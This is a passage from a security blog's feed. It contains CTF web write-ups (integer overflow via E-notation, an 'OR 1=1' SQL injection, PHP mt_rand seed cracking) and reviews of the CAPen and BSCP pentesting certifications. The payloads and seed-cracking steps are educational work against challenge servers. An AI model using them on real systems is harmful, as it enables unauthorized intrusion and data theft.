<p><img alt="numberizer-2.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/numberizer-2.png"></p>
<p>are you thinking of integer overflow ?</p>
<p>For integer overflow to occur, the number has to be large enough so that it will wrap around to its minimum negative value. but we limited to input with max length of 4.</p>
<p>ever heard of <code>E notation</code> or <code>exponential notation</code> !</p>
<p>It&rsquo;s those numbers like <code>3e2</code> which is equivalent of <code>3×10<sup>2</sup></code>.</p>
<p>Reference: <a href="https://en.wikipedia.org/wiki/Scientific_notation#E_notation">Scientific notation - Wikipedia</a></p>
<p>now we can have very large number within 4 characters limit. <br>
<code>9e99</code> will become <code>9x10<sup>99</sup></code>.</p>
<p>submit this as input and it will overflow the integer.</p>
<p><img alt="numberizer-3.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/numberizer-3.png"></p>
<p>Flag: <code>ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}</code></p>
<hr>
<h3 id="paginator">Paginator</h3>
<p><strong>Description:</strong> <em>There can&rsquo;t much go wrong with pagination, right?</em> <br>
<strong>URL:</strong> <code>http://52.59.124.14:5012/</code></p>
<p><img alt="paginator-1.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/paginator-1.png"></p>
<p>The flag is stored at first index. <code>$min</code> and <code>$max</code> values are taken from GET parameter <code>p</code>. and the value of <code>$min</code> should not be &lt;=1.</p>
<p><img alt="paginator-2.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/paginator-2.png"></p>
<p>After that the <code>$min</code> and <code>$max</code> are used in SQL query directly.</p>
<p>are you thinking of SQL injection?</p>
<p>correct, and we don&rsquo;t even need to escape any quotes because there are no quotes.</p>
<p>payload like <code>OR 1=1</code> should work. let&rsquo;s try it!</p>
<p><img alt="paginator-3.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/paginator-3.png"></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ <span class="nb">echo</span> <span class="s2">&#34;RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvdyF9&#34;</span> <span class="p">|</span> base64 -d
</span></span><span class="line"><span class="cl">ENO<span class="o">{</span>SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}</code></p>
<hr>
<h3 id="sessio">Sess.io</h3>
<p><strong>Description:</strong> <em>Long sessions must be secure, right?</em> <br>
<strong>URL:</strong> <code>http://52.59.124.14:5008/</code></p>
<p><img alt="sess-io-1.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/sess-io-1.png"></p>
<p>Source code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s2">&#34;ALPHA&#34;</span><span class="p">,</span> <span class="nx">str_split</span><span class="p">(</span><span class="s2">&#34;abcdefghijklmnopqrstuvwxyz0123456789_-&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s2">&#34;error_reporting&#34;</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;source&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">include</span> <span class="s2">&#34;flag.php&#34;</span><span class="p">;</span> <span class="c1">// $FLAG
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nv">$SEEDS</span> <span class="o">=</span> <span class="nx">str_split</span><span class="p">(</span><span class="nv">$FLAG</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">session_id_secure</span><span class="p">(</span><span class="nv">$id</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="nv">$SEEDS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">mt_srand</span><span class="p">(</span><span class="nx">intval</span><span class="p">(</span><span class="nx">bin2hex</span><span class="p">(</span><span class="nv">$SEEDS</span><span class="p">[</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$id</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">%</span> <span class="p">(</span><span class="nx">count</span><span class="p">(</span><span class="nv">$SEEDS</span><span class="p">))]),</span><span class="mi">16</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$id</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o">&lt;</span><span class="mi">1000</span><span class="p">;</span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$id</span> <span class="o">.=</span> <span class="nx">ALPHA</span><span class="p">[</span><span class="nx">mt_rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nx">count</span><span class="p">(</span><span class="nx">ALPHA</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$id</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">session_id</span><span class="p">(</span><span class="nx">session_id_secure</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">]</span> <span class="o">.</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]));</span>
</span></span><span class="line"><span class="cl">    <span class="nx">session_start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;Thank you for signing up!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span><span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;Please provide the necessary data!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>Here <code>username</code> + <code>password</code> is passed to the <code>session_id($id)</code> function.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">session_id</span><span class="p">(</span><span class="nx">session_id_secure</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;username&#39;</span><span class="p">]</span> <span class="o">.</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">]));</span>
</span></span></code></pre></div><p><code>$SEEDS</code> is array of flag with each element of length 4.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$SEEDS</span> <span class="o">=</span> <span class="nx">str_split</span><span class="p">(</span><span class="nv">$FLAG</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span></code></pre></div><p>first character from <code>md5($id)</code> is used as index in the <code>$SEEDS</code> array. the <code>$id</code> is concatenation of the <code>username</code> and <code>password</code> we submit.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">mt_srand</span><span class="p">(</span><span class="nx">intval</span><span class="p">(</span><span class="nx">bin2hex</span><span class="p">(</span><span class="nv">$SEEDS</span><span class="p">[</span><span class="nx">md5</span><span class="p">(</span><span class="nv">$id</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">%</span> <span class="p">(</span><span class="nx">count</span><span class="p">(</span><span class="nv">$SEEDS</span><span class="p">))]),</span><span class="mi">16</span><span class="p">));</span>
</span></span></code></pre></div><p>The specific item at index of <code>md5($id)[0]</code> in <code>$SEEDS</code> array which is also part of the flag is then converted from string to hex using <code>bin2hex</code> and then from hex to integer using <code>intval</code>.</p>
<p>This integer is used as seed for PHP&rsquo;s mt_rand random number generator. and using that seed it will generate 1000 numbers to create a session id.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">for</span><span class="p">(</span><span class="nv">$i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nv">$i</span><span class="o">&lt;</span><span class="mi">1000</span><span class="p">;</span><span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$id</span> <span class="o">.=</span> <span class="nx">ALPHA</span><span class="p">[</span><span class="nx">mt_rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nx">count</span><span class="p">(</span><span class="nx">ALPHA</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><p>The generated number is used as index to get the specific character from <code>ALPHA</code> string array.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nx">define</span><span class="p">(</span><span class="s2">&#34;ALPHA&#34;</span><span class="p">,</span> <span class="nx">str_split</span><span class="p">(</span><span class="s2">&#34;abcdefghijklmnopqrstuvwxyz0123456789_-&#34;</span><span class="p">));</span>
</span></span></code></pre></div><p>To get the flag from this session id we need to get the value of seed.</p>
<p>With simple search we can find <a href="https://github.com/openwall/php_mt_seed">openwall/php_mt_seed: PHP mt_rand() seed cracker</a> tool to brute force and crack the seed used.</p>
<p>In this repo we have the following <code>pw2args.php</code> file to convert the password string to arguments that this tool can use. In this we need to update the <code>$allowable_characters</code> string with <code>$ALPHA</code> string from challenge code.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nv">$allowable_characters</span> <span class="o">=</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyz0123456789_-&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$len</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$allowable_characters</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$pass</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$pass</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$number</span> <span class="o">=</span> <span class="nx">strpos</span><span class="p">(</span><span class="nv">$allowable_characters</span><span class="p">,</span> <span class="nv">$pass</span><span class="p">[</span><span class="nv">$i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;</span><span class="si">$number</span><span class="s2"> </span><span class="si">$number</span><span class="s2"> 0 </span><span class="si">$len</span><span class="s2">  &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">echo</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>Now we just need to get the flag in correct order using specific inputs that have their first characters from 0-9.
with simple python script we can get following values which have first character of md5 as 0-9.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="mi">0</span> <span class="p">:</span> <span class="mi">63</span>
</span></span><span class="line"><span class="cl"><span class="mi">1</span> <span class="p">:</span> <span class="mi">69</span>
</span></span><span class="line"><span class="cl"><span class="mi">2</span> <span class="p">:</span> <span class="mi">88</span>
</span></span><span class="line"><span class="cl"><span class="mi">3</span> <span class="p">:</span> <span class="mi">85</span>
</span></span><span class="line"><span class="cl"><span class="mi">4</span> <span class="p">:</span> <span class="mi">81</span>
</span></span><span class="line"><span class="cl"><span class="mi">5</span> <span class="p">:</span> <span class="mi">91</span>
</span></span><span class="line"><span class="cl"><span class="mi">6</span> <span class="p">:</span> <span class="mi">84</span>
</span></span><span class="line"><span class="cl"><span class="mi">7</span> <span class="p">:</span> <span class="mi">89</span>
</span></span><span class="line"><span class="cl"><span class="mi">8</span> <span class="p">:</span> <span class="mi">90</span>
</span></span><span class="line"><span class="cl"><span class="mi">9</span> <span class="p">:</span> <span class="mi">86</span>
</span></span></code></pre></div><p>submit these values as password to get the blocks of flag and use first 10-15 characters to crack the seed.</p>
<p><img alt="sess-io-2.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/sess-io-2.png"></p>
<p><img alt="sess-io-3.png" loading="lazy" src="/writeups/ctf/nullcon-hackim-ctf-goa-2025/files/sess-io-3.png"></p>
<p>Once we get the seed we will convert it from integer &gt; hex &gt; string.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">int_value</span> <span class="o">=</span> <span class="mi">1162760059</span>
</span></span><span class="line"><span class="cl"><span class="n">hex_value</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">int_value</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">hex_value</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">hex_value</span> <span class="o">=</span> <span class="s2">&#34;0&#34;</span> <span class="o">+</span> <span class="n">hex_value</span>
</span></span><span class="line"><span class="cl"><span class="n">binary_data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">hex_value</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">original_value</span> <span class="o">=</span> <span class="n">binary_data</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Value:&#34;</span><span class="p">,</span> <span class="n">original_value</span><span class="p">)</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌──PS<span class="o">(</span>Aftab@Sama<span class="o">)</span>-<span class="o">[</span>~<span class="se">\D</span>ownloads<span class="se">\N</span>ullcon HackIM CTF Goa 2025<span class="o">]</span>
</span></span><span class="line"><span class="cl">└─$ python sess_io.py
</span></span><span class="line"><span class="cl">Original Value: ENO<span class="o">{</span>
</span></span></code></pre></div><p>This output looks promising, first 4 character of flag.</p>
<p>repeat this process for rest of the blocks and eventually we get the flag.</p>
<p>Flag: <code>ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Certified AppSec Pentester (CAPen) Review &#43; Tips/Tricks</title>
      <link>https://aftabsama.com/blog/certified-appsec-pentester-capen-review/</link>
      <pubDate>Wed, 29 Jan 2025 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/certified-appsec-pentester-capen-review/</guid>
      <description>Certified AppSec Pentester (CAPen) review, tips/tricks etc.</description>
      <content:encoded><![CDATA[<h2 id="about-exam">About Exam</h2>
<h3 id="what-is-capen">What is CAPen</h3>
<p><a href="https://secops.group/product/certified-appsec-pentester/">Certified AppSec Pentester (CAPen)</a> is an intermediate-level exam to test a candidate’s knowledge on the core concepts involving application security. Candidates must be able to demonstrate practical knowledge to conduct an application pentest to pass this exam.
<strong>Note:</strong> The CAPen exam is also listed in the preferred pathway for <a href="https://www.synack.com/red-team/pathways/">SynAck’s SRT criteria</a>.</p>
<h3 id="cost">Cost</h3>
<p>It costs £250.00 but they run discount deals on festivals like Diwali or Black Friday.</p>
<h3 id="what-is-the-format-of-the-exam">What is the format of the exam?</h3>
<p>CAPen is 4 hour long practical exam (you get 15 minutes extra for VPN configuration). The exam can be taken online, anytime (on-demand) and from anywhere. Candidates will need to connect to the exam VPN server to access the vulnerable applications. The VPN details are provided via mail within 24 hours of purchasing the exam.
Tip: If you face VPN issues while giving the exam just reconnect the VPN.</p>
<h3 id="what-is-the-pass-criteria-for-the-exam">What is the pass criteria for the exam?</h3>
<p>The pass criteria are as follows:</p>
<ul>
<li>From 00.00% to 59.99% - Failed</li>
<li>From 60.00 to 74.99% - Passed</li>
<li>From 75.00 to 100.00% - Passed with Merit ( you get <code>passed with merit</code> written on you certificate)</li>
</ul>
<h3 id="what-is-the-exam-retake-policy">What is the exam retake policy?</h3>
<p>Candidates, who fail the exam, are allowed 1 free exam retake.</p>
<h3 id="proctoring">Proctoring</h3>
<p>Exam is not proctored. You are allowed to access the internet during the exam and search related to any topic. However, you are not allowed to ask anyone to help during the exam.</p>
<h3 id="how-long-is-the-certificate-valid-for">How long is the certificate valid for?</h3>
<p>The certificate does not have an expiration date. However, the passing certificate will mention the details of the exam such as the exam version and the date. As the exam is updated over time.</p>
<h3 id="do-they-provide-coursetraining-for-exam">Do they provide Course/Training for Exam?</h3>
<p>No, Being an independent certifying authority, The SecOps Group do not provide any training for the exam. You can go over each topic listed in the <a href="https://secops.group/product/certified-appsec-pentester/#:~:text=Free-,Exam%20Syllabus,-The%20exam%20will">syllabus</a>.</p>
<h3 id="mock-exams">Mock exams</h3>
<p>They provide the <a href="https://secops.group/free-mock-pentesting-exams/">Mock Exams</a> for free to get the idea about the exam. Must give Mock exam before the real one.</p>
<hr>
<h3 id="tips--tricks">Tips &amp; Tricks</h3>
<ul>
<li>Ensure all necessary tools are preconfigured:
<ul>
<li><a href="https://github.com/nabla-c0d3/sslyze">sslyze</a> - for SSL/TLS scanning.</li>
<li>Burp Suite or any other proxy tool of your choice.</li>
<li>Python or any scripting language you prefer.</li>
<li><a href="https://github.com/sqlmapproject/sqlmap">sqlmap</a> - an automatic SQL injection and database takeover tool.</li>
<li><a href="https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html">AWS CLI</a> - for accessing S3 buckets.</li>
<li><a href="https://openvpn.net/community-downloads/">OpenVPN</a> - for connecting to the exam VPN.</li>
</ul>
</li>
<li>For OSINT-related challenges, search for the same username as the target or variations of it on platforms like GitHub, GitLab, Bitbucket, and Pastebin.</li>
<li>Avoid trying to obtain a reverse shell. You will be provided with the file path where the flag is located, so read the flag directly. This will save you time.</li>
<li>When you start the exam, the VPN may take some time to take effect. First, go through all the questions and take mental notes. Sometimes, one question can help solve another.</li>
<li>Keep your notes handy or utilize online resources like <a href="https://swisskyrepo.github.io/PayloadsAllTheThings/">Payloads All The Things</a> and <a href="https://book.hacktricks.wiki/en/pentesting-web/web-vulnerabilities-methodology.html">HackTricks</a>.</li>
<li>Some vulnerabilities may require multi-step exploitation. Learn how to automate this process.</li>
</ul>
<h3 id="my-thoughts-on-the-exam">My Thoughts on the Exam</h3>
<p>The exam consists of 17 true/false, yes/no, multiple-choice, and CTF-type questions. Each question is allocated an appropriate score based on its level of difficulty.</p>
<p>In my opinion, the overall difficulty level was easy, not intermediate. However, each person&rsquo;s experience may vary.</p>
<p>The questions are very specific regarding the type of vulnerability class you will be exploiting, which makes the exam easier.</p>
<p>I have observed that the exam lacks dynamic questions. The questions and flags remain the same in every attempt. In my opinion, this is a significant drawback. If the exam questions are leaked, it would undermine the exam&rsquo;s credibility and reduce its value.</p>
<h3 id="reference">Reference</h3>
<ul>
<li><a href="https://www.stationx.net/sqlmap-cheat-sheet/">https://www.stationx.net/sqlmap-cheat-sheet/</a></li>
<li><a href="https://portswigger.net/web-security/csrf">https://portswigger.net/web-security/csrf</a></li>
<li><a href="https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files">https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files</a></li>
<li><a href="https://portswigger.net/web-security/access-control/idor">https://portswigger.net/web-security/access-control/idor</a></li>
<li><a href="https://portswigger.net/web-security/cross-site-scripting">https://portswigger.net/web-security/cross-site-scripting</a></li>
<li><a href="https://portswigger.net/web-security/file-upload">https://portswigger.net/web-security/file-upload</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers</a></li>
</ul>
<br>
<img src="images/aftab-sama-certified-appsec-pentester-capen.webp">
<br>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Burp Suite Certified Practitioner (BSCP) Review &#43; Tips/Tricks</title>
      <link>https://aftabsama.com/blog/burp-suite-certified-practitioner-bscp-review-tips-tricks/</link>
      <pubDate>Sat, 30 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/blog/burp-suite-certified-practitioner-bscp-review-tips-tricks/</guid>
      <description>Burp Suite Certified Practitioner (BSCP) review, tips/tricks etc.</description>
      <content:encoded><![CDATA[<h2 id="about-exam">About Exam</h2>
<h3 id="what-is-bscp">What is BSCP</h3>
<p>The Burp Suite Certified Practitioner exam is a challenging practical examination designed to demonstrate your web security testing knowledge and Burp Suite skills. To pass the certification exam, you are required to demonstrate an in-depth knowledge of a wide range of vulnerability classes, and the Burp Suite functionality required to support you in discovery, understanding, and exploitation.</p>
<h3 id="cost">Cost</h3>
<p>The certification cost $99, and it expires after five years.
Once you purchase your Burp Suite Certified Practitioner exam, you have 12 months to use it before it expires.</p>
<h3 id="proctoring">Proctoring</h3>
<p>The exam uses a third-party automated proctoring service called Examity. It is used to verify your identity at the beginning of the exam and takes about 5 minutes to complete. After that, you can close that Examity window. You don&rsquo;t need to keep your camera and microphone on throughout the exam.</p>
<h3 id="how-to-prepare">How to prepare</h3>
<p>Before you take your real exam, make sure to complete <a href="https://portswigger.net/web-security/certification/how-to-prepare">this</a> four-step preparation guide by PortSwigger.</p>
<h3 id="exam-structure">Exam structure</h3>
<p>You will have four hours to complete the Burp Suite Certified Practitioner exam. There are two applications, and each application contains deliberate vulnerabilities. This means that each application can be completed in three stages:</p>
<ol>
<li><strong>Stage 1</strong>: Access any user account.</li>
<li><strong>Stage 2</strong>: Use your user account to access the admin interface, perhaps by elevating your privileges or compromising the administrator account.</li>
<li><strong>Stage 3</strong>: Use the admin interface to read the contents of <code>/home/carlos/secret</code> from the server&rsquo;s filesystem, and submit it using &ldquo;submit solution&rdquo;.</li>
</ol>
<h3 id="important-things-to-remember">Important things to remember</h3>
<p>Part of being a professional is handling responsibility. While exploiting each application, you will gain access to powerful functionality. If you use this to delete your own account or a core system component, you may make your exam impossible to complete.</p>
<p>Once you have started the exam timer, there is no option to pause or reset your exam. If you wish to retake the exam, you will need to purchase another exam and begin the process again.</p>
<p>You must use a Burp project file for the full period of the exam and submit that project file for analysis.</p>
<hr>
<h2 id="tips--tricks">Tips &amp; Tricks</h2>
<h3 id="some-tips">Some Tips</h3>
<ul>
<li>There are two applications, each with three stages: <code>user</code>-&gt;<code>Admin</code>-&gt;<code>Read File on Server</code>.
<ul>
<li>These three stages are expected to be completed in order. Attempting to break into the admin interface if you haven&rsquo;t yet got access to a user account or attempting to read files if you don&rsquo;t have access to an admin account is a waste of time.</li>
</ul>
</li>
<li>Outbound traffic from the vulnerable servers to the internet will be restricted. You won&rsquo;t be able to connect back to any internet server, except for the public Burp Collaborator server and the integrated exploit server.</li>
<li>Scanning selected pages and insertion points with Burp Suite Professional will often help you quickly progress through the exam.</li>
<li>Improve your general discovery skills by working through some mystery labs and leaving the topic random to challenge yourself further.</li>
<li>If you find an SSRF vulnerability, you can use it to read files by accessing an internal-only service running on localhost on port 6566.</li>
<li>There will be one active user who will visit the homepage of the site every 15 seconds and click any links in any emails they receive from the application.</li>
<li>There is always an administrator account with the username &ldquo;<strong>administrator</strong>&rdquo;, plus a lower-privileged account usually called &ldquo;<strong>carlos</strong>&rdquo;. If you find a username enumeration vulnerability, you may be able to break into a low-privileged account using the following <a href="https://portswigger.net/web-security/authentication/auth-lab-usernames">username list</a> and <a href="https://portswigger.net/web-security/authentication/auth-lab-passwords">password list</a>.</li>
</ul>
<h3 id="more-tips">More Tips</h3>
<p>Finding a vulnerability isn&rsquo;t enough. You also need to exploit it. This could involve chaining it to other vulnerabilities and demonstrating the actual security impact.</p>
<p>You may get caught out by a filter. So keep your payloads/poc ready for different scenarios you may face.
For this, you can make your own notes to quickly search and find the relevant payload, or you can use the other existing cheatsheets that others have already made.</p>
<ul>
<li>Reference:
<ul>
<li><a href="https://portswigger.net/web-security/essential-skills/obfuscating-attacks-using-encodings">Obfuscating attacks using encodings</a></li>
<li><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Cross-site scripting (XSS) cheat sheet</a></li>
<li><a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">SQL injection cheat sheet</a></li>
<li><a href="https://github.com/DingyShark/BurpSuiteCertifiedPractitioner">Lab cheatsheet - DingyShark</a></li>
<li><a href="https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study">Lab cheatsheet - botesjuan</a></li>
<li><a href="https://bscpcheatsheet.gitbook.io/exam">BSCP cheatsheet</a></li>
<li><a href="https://swisskyrepo.github.io/PayloadsAllTheThings/">Payloads All The Things</a></li>
</ul>
</li>
</ul>
<p>Setup and configure all the tools that you may need in the exam, like <a href="https://github.com/frohoff/ysoserial">ysoserial</a>, <a href="https://github.com/ambionics/phpggc">PHPGGC</a>, <a href="https://github.com/sqlmapproject/sqlmap">sqlmap</a>, Burp Extensions, etc., and get yourself familiar with using them. because the exam timing is short, you can&rsquo;t waste any time configuring the tools.</p>
<p>While taking the practice exam, I didn&rsquo;t have <code>ysoserial</code> installed, and when I installed it, my current Java version was not supported by the tool, so I had to install the different Java version during the exam. Don&rsquo;t do this type of mistakes.</p>
<p>Take the snapshot of the VM after setting up all the tools.</p>
<p>The exam stages are linear. If you don&rsquo;t get the first stage (normal user account), You never know which vulnerabilities will be there in the following stage. The above reference links also contain information on what types of vulnerabilities you may get at different stages. New functionalities you get with each stage are the right place to look for vulnerabilities.</p>
<p>You may fall into a rabbit hole, so allocate your time carefully. If you found something but are not getting anything even after putting in a lot of time, take a note of it and look at some other place. Maybe you need to chain it with something else.</p>
<p>Get comfortable with mystery labs and review all the lab solutions before attempting the exam.</p>
<h3 id="my-thoughts-on-the-exam">My Thoughts on the Exam</h3>
<p>I wouldn&rsquo;t say it was easy. Completing the exam in the given time with a total black box approach makes it difficult. It is similar to a practice exam, but slightly more difficult. However, each person&rsquo;s experience is different.</p>
<p>The Burp Suite Certified Practitioner exam consists of dynamic questions, ensuring each attempt presents different vulnerabilities and unique lab scenarios. This approach keeps the challenge fresh and engaging every time, adding to the exam&rsquo;s value and credibility—even in the event of question leaks.</p>
<p>The burp scanner was a great help and exam timing feels short to complete all 6 stages.</p>
<p>If you prefer video mode, then this excellent <a href="https://www.youtube.com/watch?v=L-3jJTGLAhc">YouTube video</a> is perfect for someone who is looking for BSCP exam review + tips/tricks.</p>
<p><a href="https://portswigger.net/web-security/e/c/d1810975205c9a28">https://portswigger.net/web-security/e/c/d1810975205c9a28</a></p>
<br>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Cyberyami Web Warriors</title>
      <link>https://aftabsama.com/writeups/ctf/cyberyami-web-warriors-2024/</link>
      <pubDate>Sun, 22 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/cyberyami-web-warriors-2024/</guid>
      <description>Writeups for the Cyberyami Web Warriors Capture The Flag (CTF) event.</description>
      <content:encoded><![CDATA[<hr>
<p><strong>CTF Event URL</strong>: <a href="https://www.cyberyami.com/compete/cyberyami-web-warriors-dsgisbwd">https://www.cyberyami.com/compete/cyberyami-web-warriors-dsgisbwd</a> <br>
<strong>Event Start Time</strong>: September 21, 2024, at 11:00 AM (IST) <br>
